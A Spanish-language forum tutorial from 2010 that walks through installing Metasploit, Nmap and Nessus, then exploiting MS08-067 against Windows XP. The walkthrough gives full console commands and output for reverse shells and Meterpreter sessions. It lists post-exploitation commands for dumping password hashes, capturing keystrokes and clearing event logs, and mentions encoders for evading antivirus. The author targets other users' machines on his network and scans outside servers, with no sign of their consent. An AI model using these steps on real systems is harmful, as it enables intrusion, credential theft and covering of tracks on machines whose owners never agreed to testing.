[Tutorial] Conociendo Metasploit Framework

Iniciado por $ad, Abril 15, 2010, 02:56:58 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 15, 2010, 02:56:58 AM Ultima modificación: Noviembre 23, 2014, 12:41:44 PM por Expermicid
Metasploit Framework, Nmap & Nessus
By Rcart
CPH

Se les saluda a cada uno de ustedes. Como lo mencione en un post, desarrollaría este tutorial de Metasploit Framework y tambien incluiré Nmap y Nessus (en una simple vista). Espero sea de su agrado y el propósito de este es únicamente de aprendizaje.

Nota: Este tutorial esta hecho bajo la distribución Ubuntu 9.04, ya que en ningún momento voy a hacer uso del entorno gráfico de MSF por los momentos y todo se realizara desde la interfaz de consola: msfconsole. Se recomienda su utilización.



Antes de continuar, quisiera que montaran su "Hack Lab" para hacer las pruebas de forma local. Lees recomiendo este tutorial:


Índice


  • Introducción a MSF
  • Instalación de MSF
  • Introducción a Nmap*
  • Instalación de Nmap
  • Introducción a Nessus*
  • Instalación de Nessus
  • Buscando objetivos con Nmap
  • Ecaneando objetivos con Nessus
  • Mi primera Intrusión con MSF
  • Conociendo los modulos auxiliares (Auxiliary)
  • Conociendo Meterpreter

*Se darán únicamente definiciones.



Aportes de Shell Root (Enlace Directo)



Aportes de trashhgoo (Enlace Directo)



Introducción

Que es Metasploit Framework (MSF) ?

Según la Wikipedia: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby. (resumen)

Cuando debo utilizar MSF?


Como bien se ha dicho es una herramienta para ejecutar exploits, hechos por nosotros o bajados y compilados, y su utilización se realizara cuando encontremos equipos vulnerables a alguno de los exploits presentes en MSF.

Instalación

Primero que nada debemos ir al sitio oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para luego en la sección de Quick Links descargar la versión según nuestro SO, en mi caso descargo el archivo para UNIX.

Nota: El siguiente paso no es necesario en las versiones posteriores a la 3.3 de MSF ya que su instalacion varia .

Debido a que Ubuntu no trae por defecto el interprete de Ruby necesitamos instalarlo, ademas de una libreria para soporte SSL ya que sin ella, no nos funcionarían algunos de nuestros exploits:
Código: php
sudo apt-get install ruby1.8 libopenssl-ruby1.8 rails


Una vez descargado el MSF desde su sitio oficial,  lo posicionamos en nuestro directorio personal (/home/tu-usuario/), luego lo descomprimimos con click derecho> extraer aquí. Pero si son unos adictos a la terminal, lo descomprimimos así:
Código: php
tar -xvvf framework-3.2.tar.gz


Eso nos creara un directorio llamado framework-3.2, al cual accederemos desde la terminal para invocar la consola de MSF:
Código: php
cd framework-3.2
./msfconsole


Lo que nos devolverá una linda imagen (aunque seguramente sera distinta):

Y a partir de este momento estamos listos para poder comenzar a teclear nuestros comandos para poder llegar a lograr nuestro objetivo: la explotación de vulnerabilidades con MSF.

Introducción a Nmap

Que es Nmap?
Según de la Wikipedia: Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

En nuestra practica, Nmap nos servira para poder escanear los equipos a los cuales queramos enfocarnos, viendo sus servicios, puertos abiertos, SO, y demas cosas que veremos posteriormente.

Instalación

Nmap se encuentra en casi todos los repositorios de la mayoria de las distribuciones Gnu/Linux. En nuestro caso, hacemos uso del gestor de paquetes apt.
Código: php
sudo apt-get install nmap


Con eso, estaría instalado perfectamente Nmap en su versión 4.x. Lastimosamente en este tuto no pienso enfocarme en el uso de Nmap, seria bueno que buscaran algunos tutos en Google para no estar preguntando para que sirve cada opción pero si aun así no las entienden, con gusto se las explicaría =)

Introducción a Nessus
No es necesaria si van a utilizar otro scanner

Que es Nessus?
Según de la Wikipedia: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y reporte de los escaneos

Podrían perfectamente utilizar cualquier otro scanner de vulnerabilidades como ser SSS o Acunetix.

Instalación de Nessus

Ingresamos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Luego seleccionamos Nessus 4.0.2 for Linux y damos click en download. Aceptamos los terminos de licencia y luego descargamos el archivo correspondiente a nuestra distro, en mi caso elijo el archivo Ubuntu 8.10 and 9.04 (32 bits) (Nessus-4.0.2-ubuntu810_i386.deb).

Una vez haya finalizado la descarga, lo guardamos en nuestro directorio personal (/home/tu-usuario/) y lo instalamos con el gestor de paquetes de Ubuntu haciendo doble click, sino, desde la terminal:
Código: php
sudo dpkg -i Nessus-4.0.2-ubuntu810_i386.deb


Luego nos tenemos que registrar para poder activar el demonio de Nessus (nessusd). Para ello vamos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y aceptamos la licencia. Ingresamos nuestra dirección de correo al cual sera enviado el código de activación. Luego agregamos un usuario que sera el "administrador" de Nessus.

Ejecutamos desde una terminal:
Citarsudo /opt/nessus/sbin/nessus-adduser
Login : usuario-para-nessus
Authentication (pass/cert) : [pass] presionas_enter
Login password : escribis-la-pass
Login password (again) : volves-a-escribir-la-pass
Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]: y

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set) presionas enter

Login : el-usuario-que-ingresaste
Password : ***********
This user will have 'admin' privileges within the Nessus server
Rules :
Is that ok ? (y/n) [y] y
Luego ingresamos el código de activación:
Código: php
sudo /opt/nessus/bin/nessus-fetch --register la-clave-que-te-enviaron-a-tu-correo


Listo, con eso deberia de aparecerles un mensaje en el que se indica que Nessus esta actualizando sus plugins. Para mas información deberían de consultar Google xD

Por ultimo, instalamos el cliente de Nessus, el que nos permitira interactuar con el demonio de Nessus graficamente:

Ingresamos a  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y selecciona  NessusClient 4.0.2 (The Linux graphical interface for nessud) y le das en download. Aceptas la licencia y luego seleccionas el archivo correspondiente a tu distribución, en mi caso NessusClient-4.0.2-ubuntu810_i386.deb (Ubuntu 8.10 and 9.04 (32 bits).

Cuando la descarga termine, lo guardas en tu directorio personal (/home/tu-usuario/), junto al anterior, y luego lo instalas con el gestor de paquetes de Ubuntu haciendo doble click o desde la terminal:
Código: php
sudo dpkg -i NessusClient-4.0.2-ubuntu810_i386.deb


Por ultimo reiniciamos el deamon de Nessus (nessusd):
Código: php
sudo /etc/init.d/nessusd restart


Y listo!, p u t o nessus, ya lo podremos encontrar en el menu Aplicaciones>Internet.

Si en algun caso nos muestra algun tipo de error relacionado a que no se puede iniciar el deamon, verifiquemos los paso anteriores.

Hasta este punto, tenemos instados el servidor y el cliente Nessus, solo nos hace falta establecer la comunicación entre ambas partes.

Para hacerlo, abrimos el cliente gráfico desde el menú Aplicaciones>Internet, despues continuamos con los pasos explicados a continuacion:

1.- Botón para establecer la conexión

2.- Botón para agregar la conexión. En este paso nos parecerá la venta "Edit conexion".

Aquí tendrán que establecer los datos que aparecen en la imagen. Los mas importantes son el host y el port, tienen que ser iguales al los de la imagen (si es que no se ha modificado el archivo de configuración),

3.-  Escriben el nombre y pass del usuario que agregaron como "administrador" y luego le dan en Save. Luego la seleccionan y le dan en Connect. Les aparecerá un mensaje informando que es la primera conexión y le dan en Ok.

Para saber su funcionamiento deberán de buscar información sobre el mismo. Lo que hice fue únicamente mostrar su Instalación, ya que es considerada una de las partes mas "complicadas" (para sus ultimas versiones).

Buscando objetivos con Nmap

Una vez hayamos instalado las aplicaciones correspondientes, manos a la obra.

Primero que nada, vamos a escanear nuestra red para tener un objetivo cerca :D. Recuerden que esos "objetivos" son usuarios normales y no mantienen todo el día sus PC's encendidas y por lo general son equipos vulnerables, debemos ser rápidos ya que quizás durante el proceso de explotación, estos equipos se desconecten y nosotros estemos esperando una shell. LOL

Debo aclarar que la búsqueda de objetivos es especifica: encontrar equipos con el puerto 445 abierto. Por que? Porque es ese servicio el que buscamos explotar por esta primer intrusion.

En mi caso, tengo como objetivo un equipo de mi red con ip 10.21.37.179. Para hacer un scann eficiente y sencillo  lo hacemos de la siguiente manera y como root:
Código: php
nmap -v -sV 10.21.37.179


Con lo cual obtendremos un resultado similar a este:
Código: php
rcart@rcart:~$ nmap -v -sV 10.21.37.179
Discovered open port 3389/tcp on 10.21.37.179
Discovered open port 139/tcp on 10.21.37.179
Discovered open port 445/tcp on 10.21.37.179

Host 10.21.37.179 appears to be up ... good.
Interesting ports on 10.21.37.179:

PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds  Microsoft Windows XP microsoft-ds
2869/tcp closed unknown
3389/tcp open   microsoft-rdp Microsoft Terminal Service
Service Info: OS: Windows

Host script results:
|  Discover OS Version over NetBIOS and SMB: Windows XP
|_ Discover system time over SMB: 2009-10-06 17:06:50 UTC+2


Esta un poco resumido, pero no va a variar mucho. Explico las opciones:
-v = verbose
-sV = Con esto obtenemos la versión del servicio que esta corriendo bajo un puerto determinado.

Con estos resultados estariamos listos para interactuar con Mestasploit. Pero primero debemos de analizar ese equipo en busca de vulnerabilidades con Nessus.

Si no saben ni por que objetivo comenzar, pueden hacer un "barrido" de red para saber que equipos "cercanos" a ustedes estan vivos. Lo hacemos asi:
Código: php
nmap -sP 10.21.37.*


Y con eso obtendriamos un resultado similar a este:
Código: php
root@rcart:/home/rcart/pentest/scanns# nmap -sP 10.21.37.*

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-06 20:57 CST
Host 10.21.37.1 appears to be up.
MAC Address: 00:06:5B:DB:8B:8D (Dell Computer)
Host 10.21.37.2 appears to be up.
MAC Address: 00:E0:4D:72:35:73 (Internet Initiative Japan)
Host 10.21.37.3 appears to be up.
MAC Address: 00:0D:87:B2:B4:DD (Elitegroup Computer System Co. (ECS))
Host 10.21.37.72 appears to be up.
MAC Address: 00:E0:4C:A0:0A:F2 (Realtek Semiconductor)
Host 10.21.37.215 appears to be up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.43 seconds
root@rcart:/home/rcart/pentest/scanns#


Y como vemos, hay varios equipos que "appears to be up" (esta vivos) y pues ya tendríamos objetivos para poder buscar el puerto 445 abierto con el procedimiento de escaneo anterior.

Existen formas mas complejas pero eficientes de hacer scanns con Nmap, como por ejemplo escanear todos los equipos de nuestra red especificando el puerto 445 y otra variedad de alternativas.

NOTA: Las IP's usadas son de la red a la que pertenezco, ustedes deben utilizar las de su red o la que quieran.

Escaneando objetivos con Nessus

Esta etapa de buscar vulnerabilidades con Nessus no es tan dificil, ya los tenemos configurado y listo para funcionar. Solo hace falta crear una "política de scann" pero como Nessus es bastante intuitivo no creo que ese sea problema :P

Entonces, lo único que tenemos que hacer es agregar el objetivo escaneado con Nmap y que tiene el puerto 445 abierto. Luego le damos al Botón "Scan Now" y si todo ha salido bien, nos deberia de apararecer una imagen similar a esta:

Como vemos, el servicio que nos mostro Nmap en el puerto 445/tcp "Microsoft Windows XP microsoft-ds" aparece completamente vulnerable. Hasta este punto estamos listos para "jugar" con esta maravillosa herramienta: Metasploit Framework.

Mi primera Intrusión con MSF

Despues de tanto, hemos podido encontrar un equipo con la vulnerabilidad que buscábamos y ha llegado el momento de proceder con la explotación.

Primero que nada conozcamos como esta dividido MSF (Metasploit Framework):

  • Exploits: aquí encontramos todos los exploits disponibles en MSF y que podemos utilizar. Estan dividos por SO's y categoriras. Ejemplo: exploits/windows/browser/ y aquí econtrariamos los exploits disponibles para los navegadores que corren en el SO windows.

  • Payloads: esta es una de las cosas mas importantes, es la accion que se va a realizar si se logra explotar la vulnerabilidad que selecccionamos. Ejemplo: windows/shell/reverse_tcp y con esto obtendriamos una shell inversa.

  • Auxiliary: son scripts con diferentes funciones. Ejemplo: auxiliary/scanner/portscan/tcp y utilizando este scanner de puertos tcp, obtendriamos el estado de puertos y el servicio que esta corriendo bajo estos mismo. Muy util si no te gusta Nmap xD

  • Enconders: son algoritmos de codificación para cuando hagamos ingeniería social y tengamos que evadir algunos antivirus. Muy importante conocerlo.
Con eso bastaria conocer por los momentos, el unico que falta son los NOP Generators, no los menciono porque todavia no los comprende como es debido.

Ahora veamos los comandos que necesitaremos utilizar para poder desplazarnos por MSF:


  • help: Nos muestra los comandos disponibles actualmente.

  • show: Nos muestra todo el contenido de cada categoria: exploits, payloads, auxiliary encoders, NOP Generators. Aunque tambien podemos especificar una categoria. Ejemplo: show exploits.

  • search: Busca cualquier objeto mediante una palabra clave. Ejemplo: search ftp

  • info: Proporciona información sobre un exploit,payload, auxiliary, etc. Es muy importante ya que con este comando tambien podemos conocer la descripcion, referencias y equipos en los que se puede utilizar  el objeto al que estamos invocando Ejemplo: info windows/ftp/proftp_banner

  • use: Con este comando, establemos el objeto con el que vamos a trabajar; sea exploit o auxiliary que son con los que vamos a trabajar nosotros. Ejemplo: use exploits/windows/

  • show options: Importantisimo. Si no conocemos como funciona algun exploit o auxiliary este comando nos ayudara muchisimo, aunque por lo general no requieren de muchos parametros. Se ejecuta despues que hayamos seleccionado el objeto: exploit, auxiliary o payload(unicamente si ya se ha seleccionado un exploit)

  • set: Con este comando, establecemos los parametros necesarios de algun exploit o auxiliary. Los parametros dependen del objeto que hayamos seleccionado anteriormente. Por mecionar algun ejemplo:
    set RHOST No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, set RPORT 445, set LHOST No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, set LPORT 2525. Son solo ejemplos.

  • set PAYLOAD: Este comando lo pongo aparte porque es importante conocerlo bien. Como mencione anteriormente los payloads es la accion que se realiza cuando un exploit ha explotado una vulnerabilidad correctamente. Lo utilizamos despues de haber seleccionado un exploit únicamente. Comunmente necesitamos establecer los parametros LHOST y LPORT.

  • back: Con esto volveriamos a comenzar desde 0.

Ademas de esos comandos hay muchos otros que poco a poco los iremos viendo cada vez que sea necesario. Tambien debo aclarar que cuando entramos a la interfaz de consola (msfconsole) de MSF tambien podemos hacer uso de los comandos de nuestro SO Gnu/Linux como si estuviéramos en una consola normal.

Les recomiendo que antes de comenzar con la explotación naveguen un poco en MSF utilizando los comandos basicos que mencione anteriormente y cualquier cosa que vean interesante, para que se vallan familiarizando y asi se haga mas facil la practica.

Que exploit utilizaremos para la vulnerabilidad que nos mostró Nessus?
msf08_067_netapi.

Usen el comando info para ver los equipos que son vulnerables a este exploit y sus opciones ademas de otras cosas.

Ingresemos a la interfaz de consola de MSF para comenzar :D
Seleccionamos el exploit que vamos a utilizar:
Código: php
msf > use exploit/windows/smb/ms08_067_netapi


Verificamos las opciones del exploit para ver cuales estan disponibles y cuales son necesarias para luego ingresarlas:
Código: php
msf exploit(ms08_067_netapi) > show options
Module options:

   Name     Current Setting  Required  Description
   ----          ---------------       --------  -----------
   RHOST                           yes       The target address
   RPORT    445                 yes       Set the SMB service port
   SMBPIPE  BROWSER  yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 10.21.37.179
RHOST => 10.21.37.179
msf exploit(ms08_067_netapi) >


Nota: las opciones que tienen "yes" en la columna "Required" significa que son obligatorias. Algunas se llenan automáticamente, otras hay que ingresarlas manualmente. Luego de ingresar el parametro set RHOST deberían de ver de nuevo las opciones para que vean como se llenan las opciones requeridas.

Ahora seleccionamos el PAYLOAD que vemos a utilizar. En esta ocacion comenzaremos con una simple shell, mas adelante utilizaremos otros.
Código: php
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    10.21.37.179     yes       The target address
   RPORT    445                    yes       Set the SMB service port
   SMBPIPE  BROWSER     yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                             yes       The local address
   LPORT     4444                yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >


Como veran hemos ingresado los parametros requeridos tanto del exploit como del payload. Ahora solo nos falta verificar (show options) que todo este como queremos para luego ejecutar un comando que no he mencionado, pero es el mas esperado.
Código: php
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (10.21.17.215:4444 -> 10.21.37.179:1035)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


Wow! Al fin nuestra primera intrusión con MSF! Si no saben que hacer con la shell que acabamos de obtener, les recomendaria que mejor se vallan a ver la televisión LOL.




Conociendo los Modulos Auxiliares (Auxiliary)

Uno de los primeros pasos que se deben tomar para lograr una intrusion, es la recoleccion de informacion. Saber que SO y/o version estamos analizando, que puertos estan abiertos, que servicios, etc. Metasploit contiene una buena cantidad de modulos auxiliares que nos permiten obtener cierta informacion de nuestro objetivo. Se diferencian de los exploits por ser utilizados para la obtencion de informacion, es decir, con los modulos auxiliares no obtendremos ninguna shell, sin embargo nos serviran para llegar a lograrlo. Para ejecutar un modulo auxiliar, ingresamos el comando run.

Sintaxis para el uso de modulos auxiliares: Esta es muy simple y igual que los exploits, dependen del modulo que     estemos utilizando. Los parametros basicos son: RHOSTS, RPORT y THREADS donde:
    RHOST: es el objetivo y puede contener ragos, clases de redes, o varios hosts separados por comas
    RPORT: es el  puerto del servicio, el especificado por defecto no se cambia comunmente.
    THREADS: Numero de hilos concurrentes, se cambian dependiente del numero de host que vamos a analizar.

Recordemos utilizar el comando info para conocer el modulo auxiliar y sus opciones.

En esta seccion, veremos los siguiente modulos auxiliares de tipo scanners:

  • scanner/ssh/ssh_version
  • scanner/portscan/tcp
  • scanner/http/writable
  • scanner/http/options
  • scanner/http/wmap_files_dir
  • scanner/ftp/anonymous
  • scanner/smb/version

scanner/ssh/ssh_version: Este scanner, como su nombre lo dice, nos permite identificar la version del servidor ssh en un objetivo especifico. Veamos un ejemplo:

Seleccionamos el modulo auxiliar:

Código: php
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) >


Luego observamos sus opciones y asignamos valores dependiendo de las que requiera:

Código: php
msf auxiliary(ssh_version) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    22               yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(ssh_version) >


Como vemos, este modulo auxiliar contiene las opciones basicas, y como ya las conocemos las asignamos sin ningun problema para luego ejecutarlo con el comando run

Código: php
msf auxiliary(ssh_version) > set RHOSTS 10.21.0.1
RHOSTS => 10.21.0.1
msf auxiliary(ssh_version) > run

[*] 10.21.0.1:22, SSH server version: SSH-1.5-Cisco-1.25
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >


Como vemos, la version del servidor ssh es 1.5 y pertenece a un router Cisco, que es el router de mi ISP xD

scanner/portscan/tcp: Este modulo es un scanner de puertos TCP. Nos proporciona muy buenos resultados sobre los puertos abiertos en un objetivo especifico. Veamos:

Código: php
msf > use auxiliary/scanner/portscan/tcp 
msf auxiliary(tcp) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                    yes       The target address range or CIDR identifier
   THREADS  1                yes       The number of concurrent threads
   TIMEOUT  1000             yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) >


Las opciones son casi las mismas, no es necesario explicarlas. Veamos que resultados nos muestra:

Código: php
msf auxiliary(tcp) > set RHOSTS 190.5.x.x
RHOSTS => 190.5.x.x
rmsf auxiliary(tcp) > run

[*]  TCP OPEN 190.5.x.x:21
[*]  TCP OPEN 190.5.x.x:80
[*]  TCP OPEN 190.5.x.x:110
[*]  TCP OPEN 190.5.x.x:111
[*]  TCP OPEN 190.5.x.x:143
[*]  TCP OPEN 190.5.x.x:443
[*]  TCP OPEN 190.5.x.x:631
[*]  TCP OPEN 190.5.x.x:954
[*]  TCP OPEN 190.5.x.x:993
[*]  TCP OPEN 190.5.x.x:995
[*]  TCP OPEN 190.5.x.x:3128
[*]  TCP OPEN 190.5.x.x:3306
[*]  TCP OPEN 190.5.x.x:5432
[*]  TCP OPEN 190.5.x.x:10000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >


Como vemos, obtenemos un excelente resultado de los puertos abiertos en el servidor 190.5.x.x. Este modolo auxiliar  nos serviria de mucho si no contamos con un scanner de puertos.

scanner/http/writeble: Este scanner comprueba si estan permitidos los metodos  PUT/DELETE en un servidor web y si esta permitido, seria un error devastador. Actualmente es muy dificil (por no decir imposible) de encontrar, pero es bueno conocerlo. Se ejecuta asi:

Código: php
msf > use auxiliary/scanner/http/writable
msf auxiliary(writable) > set RHOST xxxxx.net
RHOST => xxxxx.net
msf auxiliary(writable) > run

[*] Upload failed on http://190.5.x.x:80 [405 Method Not Allowed]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(writable) >


Despues de ejecutar el modulo, nos muestra que los metodos PUT/DELETE no estan permitidos:"Upload failed on http://190.5.x.x:80 [405 Method Not Allowed]"

scanner/http/options: Con el modulo anterior ya vimos que no estan permitidas las opciones PUT/DELENTE. Ahora veremos como obtener las opciones habilitadas en un servidor web. Dependiendo de las opciones habilitadas tendremos alternativas para continuar con otros metodos externos a MSF. Veamos:

Código: php
msf auxiliary(anonymous) > use auxiliary/scanner/http/options 
msf auxiliary(options) > set RHOSTS xxxxx.net
RHOSTS => xxxxxx.net
msf auxiliary(options) > run

[*] 190.5.x.x allows GET,HEAD,POST,OPTIONS,TRACE methods
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(options) >


El resultado es simple y claro. Ademas esta un poco interensante xD

scanner/http/wmap_files_dir: Este modulo, nos muestra la estructura de directorios del servidor web especificado. Ejemplifiquemos:

Código: php
msf auxiliary(wmap_dir_listing) > use auxiliary/scanner/http/wmap_files_dir 
msf auxiliary(wmap_files_dir) > set RHOSTS xxxxx.hn
msf auxiliary(wmap_files_dir) > run

[*] Using code '404' as not found.
[*] Found http://190.5.92.20:80/admin 301
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wmap_files_dir) >


En este resultado muestra unicamente el directorio "admin" debido a mi conexion (es una mierda) pero a ustedes deberia mostrar una buena lista de directorios.

scanner/ftp/anonymous: Con este modulo auxiliar, podriamos verificar si esta permitido el usuario anonimo en un servidor ftp. En esta prueba, instale un servidor ftp (vsftpd) en mi PC para comprobar la funcionalidad de este modulo auxiliar. El servidor ftp lo configure permitiendo el acceso a usuarios anonimos. Veamos:

Código: php
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous 
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run

[*] 127.0.0.1:21 Anonymous READ (220 (vsFTPd 2.0.7))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >


Como vemos, el resultado es el esperado. Nos muestra que el usuarios esta permitido: "Anonymous READ". Pero si quisieran saber que resultado muestra cuando no esta permitido el usuario anonimo, con gusto lo demuestro:

Código: php
msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous 
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(anonymous) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >


Mismo modulo, mismo target y al parecer el modulo auxiliar se ejecuta, pero no muestra que esta habilitado el usuario anonimo en el servidor. Cumple perfectamente su proposito.

scanner/smb/version: Con este modulo podremos ver exactamente que SO y version se esta ejecutando en el objetivo:

Código: php
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 10.21.49.12
msf auxiliary(version) > run

[*] 10.21.49.12 is running Windows XP Service Pack 2 (language: Spanish)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(version) >


Y asi se simple obtenemos el SO y version de nuestro objetivo.

Habran notado que en la mayoria de los modulos no mostre las opciones porque creo que son cosas que ya deberian de tomar en cuenta como necesarias y verlas por ustedes mismos. Utilicen los comandos basicos para navegar por la gran variedad de modulos auxiliares que nos proporciona Metasploit Framework y no tengan miedo de ver su definicion, opciones. Ya estan listos para conocer mas modulos auxiliares por ustedes mismos.

Como vemos, Metasploit Framework nos proporciona modulos auxiliares a nivel web que nos podrian ser de mucha ayuda en cualquier momento, ademas de modulos auxiliares que nos sirven para obtener informacion fundamental sobre nuestro objetivo.

Con esto hemos terminado por hoy. Creo que ya indiscutiblemente estamos listos para conocer el espectacular METERPRETER.




Conociendo Meterpreter

Despues de una basica (pero buena) introduccion a algunas de las funcionalidades de Metasploit Framework, hemos podido llegar a obtener nuestra primer shell, pero esto no termina aqui. Una de las primeras cosas que quisieramos hacer despues de obtener una shell, seria mantener nuestra presencia en el equipo remoto y es aqui en donde nos encontramos con el conjunto de scripts avanzados orientado a sistemas windows llamado Meterpreter.

Meterpreter nos permite automatizar el trabajo post-explotacion mediante scripts avanzados que nos facilitan tareas como la interaccion con el registro de windows (regedit), borrado de rastros, descargar/subir archivos, obtencion de passwords del sistema (hash dump), ejecucion de procesos, terminacion de procesos, edicion de archivos de texto, time stamp, etc.

Una de las cosas mas impresionantes de Meterpreter es la migracion de procesos; esto significa, que cuando explotamos la vulnerabilidad objetivo, no se crea un nuevo proceso (como normalmente se hace) sino que Meterpreter se carga en la memoria de uno de los procesos abiertos permitiendonos asi ser lo menos ruidosos que podamos y pasarnos de un proceso a otro sin ningun problema. Con esto no significa que seamos indetectables, pero nos ayuda a evitar ser detectados.

Como utilizamos Meterpreter?

Meterpreter lo encontramos entre los PAYLOADS y como cualquier payload, lo seleccionamos despues de haber puesto en uso un exploit. Comunmente no necesitamos cambiar las opciones por default, solo establecer el host local (LHOST) si el payload es inverso.

En este ejemplo vamos a utilizar los pasos seguidos en "Mi primera Intrusion con MSF" pero la unica diferencia sera el PAYLOAD a utilizar: Meterpreter.
Código: php
msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > set RHOST 10.21.49.12
RHOST => 10.21.49.12
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
msf exploit(ms08_067_netapi) >


Como vemos, hemos puesto en uso el exploit utilizado anteriormente y hemos seleccionado como PAYLOAD Meterpreter con conexion inversa. Les recomiendo, como siempre, utilizar tanto el comando info como el comando show options que seran nuestros aliados siempre. Depues de estar seguros que las opciones y parametros estan establecidos correctamente estamos listos para explotar el objetivo y obtener una sesion con Meterpreter. Que mejor que ver una imagen :D

Excelente, hemos explotado el sistema y abierto una session Meterpreter como lo esperabamos. Ahora conozcamos  algunas de las funciones que nos proporciona Meterpreter y no hay mejor forma de hacerlo que utilizando el comando help o ?:



  Comando

  background     
  exit         
  help               
  irb           
  migrate       
  quit         
  run           
  use           
  cat           
  cd           
  del           
  download     
  edit         
  getlwd       
  getwd       
  lcd           
  lpwd         
  ls           
  mkdir         
  pwd           
  rm           
  rmdir         
  upload       
  ipconfig     
  clearev       
  execute       
  getpid       
  getuid       
  kill         
  ps           
  reboot       
  reg           
  shell         
  shutdown     
  sysinfo   
  keyscan_dump   
  keyscan_start 
  keyscan_stop   
  hashdump
Descripcion

Envia al segundo plano la sesion activa.
Termina la sesion abierta de Meterpreter
Muestra la ayuda
Nos lanza al interprete de Ruby (irb).
Migra de un proceso a otro
Termina la sesion abierta de Meterpreter
Ejecuta un script de Meterpreter. Presionando dos veces TAB veremos los disponibles.
Carga una o mas extension de Meterpreter. Presionando dos veces TAB veremos los disponibles.
Muestra el contenido de un archivo de texto.
Cambia a un directorio
Elimina un archivo especifico
Descarga un archivo o directorio al equipo local
Edita un archivo
Muestra el directorio local en el que estamos trabajando
Muestra el directorio remoto en el que estamos trabajando
Cambia a un directorio local
Muestra el directorio local en el que estamos trabajando
Muestra los archivos contenidos en un directorio
Crea un directorio
Muestra el derectorio remoto en el que estamos trabajando
Elimina un archivo especifico
Elimina un directorio especifico
Sube un archivo o directorio al equipo remoto
Muestra las interfaces de red
Elimina los logs almacenados en la aplicacion "Visor de Sucesos"
Ejecuta un comando
Muestra la identificacion del proceso en el que estamos
Muestra el usuario en el que estamos actualmente
Termina un proceso
Muestra los procesos en ejecucion
Reinicia el equipo remoto
Modifica e interactua con el registro remoto
Nos lanza a una consola en el equipo remoto
Apaga el equipo remoto
Nos muestra informacion sobre el equipo remoto
Muestra las pulsaciones de teclas grabadas
Empieza a capturar pulsaciones de teclas
Detiene la captura de pulsaciones de teclas
Muestra el contenido de la SAM (Contiene los usuarios y passwords encriptadas)

